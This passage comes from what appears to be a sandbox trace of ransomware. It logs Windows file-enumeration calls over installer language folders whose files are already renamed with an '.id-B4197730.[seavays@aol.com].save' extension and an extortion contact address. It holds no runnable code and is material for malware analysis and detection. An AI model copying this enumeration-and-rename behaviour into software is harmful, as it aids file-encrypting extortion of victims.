nFileSizeLow=0x4a58, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0159.007] FindNextFileW (in: hFindFile=0x4531e40, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x734f1ca, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7dec7e1, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0159.007] FindClose (in: hFindFile=0x4531e40 | out: hFindFile=0x4531e40) returned 1 [0159.008] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.008] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x73e7a92, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x73e7a92, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="1037", cAlternateFileName="")) returned 1 [0159.008] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4520058 [0159.008] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x73e7a92, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x73e7a92, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName=".", cAlternateFileName="")) returned 0x4531ec0 [0159.009] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x73e7a92, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x73e7a92, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="..", cAlternateFileName="")) returned 1 [0159.009] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8028d9e, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8028d9e, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x804ee31, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x1bb4, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0159.009] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x804ee31, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x804ee31, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x804ee31, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x11a86, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0159.009] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x73e7a92, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x73e7a92, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x73e7a92, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0159.010] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x73e7a92, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x73e7a92, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x73e7a92, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0159.010] FindClose (in: hFindFile=0x4531ec0 | out: hFindFile=0x4531ec0) returned 1 [0159.011] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.011] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x740ddd0, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x740ddd0, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="1038", cAlternateFileName="")) returned 1 [0159.011] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4520058 [0159.011] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x740ddd0, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x740ddd0, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName=".", cAlternateFileName="")) returned 0x4531700 [0159.012] FindNextFileW (in: hFindFile=0x4531700, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x740ddd0, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x740ddd0, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="..", cAlternateFileName="")) returned 1 [0159.012] FindNextFileW (in: hFindFile=0x4531700, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80e7938, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x80e7938, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x80e7938, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x1184, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0159.012] FindNextFileW (in: hFindFile=0x4531700, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80e7938, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x80e7938, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x810db0b, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x152a6, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0159.012] FindNextFileW (in: hFindFile=0x4531700, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x73e7a92, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x73e7a92, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x745a2dd, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0159.012] FindNextFileW (in: hFindFile=0x4531700, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x73e7a92, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x73e7a92, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x745a2dd, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0159.013] FindClose (in: hFindFile=0x4531700 | out: hFindFile=0x4531700) returned 1 [0159.013] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.013] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="1040", cAlternateFileName="")) returned 1 [0159.014] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4520058 [0159.014] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName=".", cAlternateFileName="")) returned 0x45317c0 [0159.015] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="..", cAlternateFileName="")) returned 1 [0159.015] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x810db0b, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x810db0b, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8133b91, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0159.015] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8133b91, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8133b91, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x858651b, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x139b6, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0159.015] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x745a2dd, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x745a2dd, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7e5f03d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0159.015] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x745a2dd, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x745a2dd, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7e5f03d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0159.015] FindClose (in: hFindFile=0x45317c0 | out: hFindFile=0x45317c0) returned 1 [0159.016] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.016] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="1041", cAlternateFileName="")) returned 1 [0159.016] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4520058 [0159.016] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName=".", cAlternateFileName="")) returned 0x4531b40 [0159.017] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="..", cAlternateFileName="")) returned 1 [0159.017] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8264d9d, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8264d9d, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8264d9d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x2874, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0159.018] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x828b3af, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x828b3af, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x828b3af, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x10b86, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0159.018] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x748055f, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x748055f, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x748055f, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0159.018] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x748055f, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x748055f, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x748055f, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0159.018] FindClose (in: hFindFile=0x4531b40 | out: hFindFile=0x4531b40) returned 1 [0159.019] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.019] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="1042", cAlternateFileName="")) returned 1 [0159.019] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4520058 [0159.019] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName=".", cAlternateFileName="")) returned 0x4531a40 [0159.021] FindNextFileW (in: hFindFile=0x4531a40, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="..", cAlternateFileName="")) returned 1 [0159.021] FindNextFileW (in: hFindFile=0x4531a40, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x82b13ae, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x82b13ae, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x82b13ae, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3274, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0159.021] FindNextFileW (in: hFindFile=0x4531a40, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x82b13ae, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x82b13ae, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x87c24f3, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xffd6, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0159.021] FindNextFileW (in: hFindFile=0x4531a40, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x748055f, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x748055f, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x74a7b4e, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0159.021] FindNextFileW (in: hFindFile=0x4531a40, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x748055f, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x748055f, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x74a7b4e, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0159.021] FindClose (in: hFindFile=0x4531a40 | out: hFindFile=0x4531a40) returned 1 [0159.022] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.022] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="1043", cAlternateFileName="")) returned 1 [0159.022] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4520058 [0159.022] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName=".", cAlternateFileName="")) returned 0x4531b00 [0159.023] FindNextFileW (in: hFindFile=0x4531b00, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="..", cAlternateFileName="")) returned 1 [0159.023] FindNextFileW (in: hFindFile=0x4531b00, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8396179, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8396179, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8396179, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0159.023] FindNextFileW (in: hFindFile=0x4531b00, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x83bc41f, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x83bc41f, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x83bc41f, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x13816, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0159.023] FindNextFileW (in: hFindFile=0x4531b00, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, 